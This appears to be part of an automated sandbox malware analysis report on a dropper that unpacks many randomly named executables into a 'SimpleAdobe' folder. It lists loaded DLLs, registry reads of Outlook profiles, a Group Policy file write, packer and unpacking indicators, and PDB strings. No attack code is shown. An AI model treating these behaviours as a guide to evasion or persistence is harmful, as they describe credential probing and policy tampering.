Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: gpedit.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: activeds.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: dssec.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: dsuiext.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: framedynos.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: adsldpc.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: authz.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: dsrole.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: logoncli.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: ntdsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Section loaded: msvcr100.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{EA502722-A23D-11D1-A7D3-0000F87571E3}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: qk9TaBBxh8.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: qk9TaBBxh8.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: qk9TaBBxh8.exe

Static file information: File size 4334016 > 1048576

Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: qk9TaBBxh8.exe

Static PE information: Raw size of .vmp(R is bigger than: 0x100000 < 0x3cda00

Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdbW source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\HD_Audio\VS2005\Resetup\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdbP@n@ `@_CorExeMainmscoree.dll source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2818869445.0000000000DCD000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2718547054.0000000069B34000.00000002.00000001.01000000.00000021.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2693560746.0000000005EF0000.00000004.08000000.00040000.00000000.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.0000000004AC8000.00000004.00000800.00020000.00000000.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.0000000004331000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\HD_Audio\VS2005\Resetup\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2818869445.0000000000DCD000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\laracu valo35\tag\ped\kixe\vevuyohiyiva_yicofok.pdb source: qk9TaBBxh8.exe, 00000000.00000003.2127430688.000001D70232C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2128070226.000001D702377000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127430688.000001D702356000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127511693.000001D702218000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2126674447.000001D7021F6000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127725914.000001D702377000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000003.2613298063.000001DB77B90000.00000004.00001000.00020000.00000000.sdmp, EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2622806676.000000C0000AC000.00000004.00001000.00020000.00000000.sdmp, EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000266000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb source: qk9TaBBxh8.exe, 00000000.00000003.2127725914.000001D7023E9000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127725914.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127896153.000001D7023EB000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2126643406.000001D70224D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2128179905.000001D70245C000.00000004.00000020.00020000.00000000.sdmp, T9n2wvLQ1PO2GfTxLTyp21hE.exe, 0000000E.00000002.2520477544.00000000002F9000.00000002.00000001.01000000.0000000D.sdmp, T9n2wvLQ1PO2GfTxLTyp21hE.exe, 0000000E.00000000.2397254577.00000000002F9000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbEMP source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2705372697.00000000064C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\Secureuser\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: zFe0EAtgy56yDxXht4nmozfb.exe, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000001.2521718747.00000000002F0000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\vuhuyiwulumopo62_soba.pdb source: qk9TaBBxh8.exe, 00000000.00000003.2132642581.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127967224.000001D7021F5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134526384.000001D70245C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2128255759.000001D702217000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2138129759.000001D70245C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2136306601.000001D70245C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130037595.000001D702217000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2129915477.000001D7021B0000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2142101955.000001D7027FE000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2132761360.000001D7023EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Moq.pdbSHA256@ source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\sehuxi\gukulow\tulatesati\wudapul-rarupi.pdb source: qk9TaBBxh8.exe, 00000000.00000003.2142363047.000001D702353000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2145509043.000001D703B50000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141999180.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2149442634.000001D704113000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2142230053.000001D7023EB000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2143104056.000001D702988000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2142675803.000001D702495000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2145072174.000001D703403000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141838147.000001D70224D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2146166478.000001D703DAA000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2142453918.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\sc-client\Jenkins\workspace\WindowsBuild\SecureConnectClient\ACVC.Core\obj\WinRelease\netstandard2.0\AWSVPNClient.Core.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000003.2613298063.000001DB77B90000.00000004.00001000.00020000.00000000.sdmp, EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2622806676.000000C0000AC000.00000004.00001000.00020000.00000000.sdmp, EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000266000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Moq.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\projects\polly\src\Polly.Net45\obj\Release\net45\Polly.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2471533821.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbV source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Temp\Json\Working\Newtonsoft.Json\Src\Newtonsoft.Json\obj\Release\Newtonsoft.Json.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: uic.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583230702.0000000001538000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2472974179.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: inaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\TestProject\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2818869445.0000000000DD8000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\projects\polly\src\Polly.Net45\obj\Release\net45\Polly.pdbjz source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a01\_work\26\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2448673035.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdboF source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\TestProject\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb,ANA @A_CorExeMainmscoree.dll source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2818869445.0000000000DD8000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2472336262.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2469992759.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdbh source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\sc-client\Jenkins\workspace\WindowsBuild\SecureConnectClient\ACVC.Core\obj\WinRelease\netstandard2.0\AWSVPNClient.Core.pdbSHA256 source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbeIn source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2705372697.00000000064C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2705372697.00000000064C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.PDB source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583230702.0000000001538000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.PDB source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2693560746.0000000005FAA000.00000004.08000000.00040000.00000000.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.0000000004B84000.00000004.00000800.00020000.00000000.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.00000000049F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 453C:\laracu valo35\tag\ped\kixe\vevuyohiyiva_yicofok.pdb source: qk9TaBBxh8.exe, 00000000.00000003.2127430688.000001D70232C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2128070226.000001D702377000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127430688.000001D702356000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127511693.000001D702218000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2126674447.000001D7021F6000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127725914.000001D702377000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a01\_work\26\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2448940390.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Unpacked PE file: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe	Unpacked PE file: 23.2.ocI8OvNXSYwHw7Rg5l6_f8IK.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe

Unpacked PE file: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack

Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe.0.dr

Static PE information: 0x81E836EB [Mon Jan 24 10:54:35 2039 UTC]

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Code function: 7_2_009B8BB0 LoadLibraryA,GetProcAddress,

7_2_009B8BB0

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp(R

Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_6283546

Source: 45NBK9axc23mjqmbKvmG0NYP.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x6b986a
Source: T9n2wvLQ1PO2GfTxLTyp21hE.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x2e406a
Source: setup294[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x2e406a
Source: TUBbflj40zqtNIEKWH_MWjeG.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3428c5
Source: JpL3YVeZ0uQ2FWGpg5WG.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x51fa4
Source: setup[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x6b986a
Source: tXlQ3NLbQqxBkFS_TfaDHWX4.exe.0.dr	Static PE information: real checksum: 0x443bbc should be: 0x4411b9
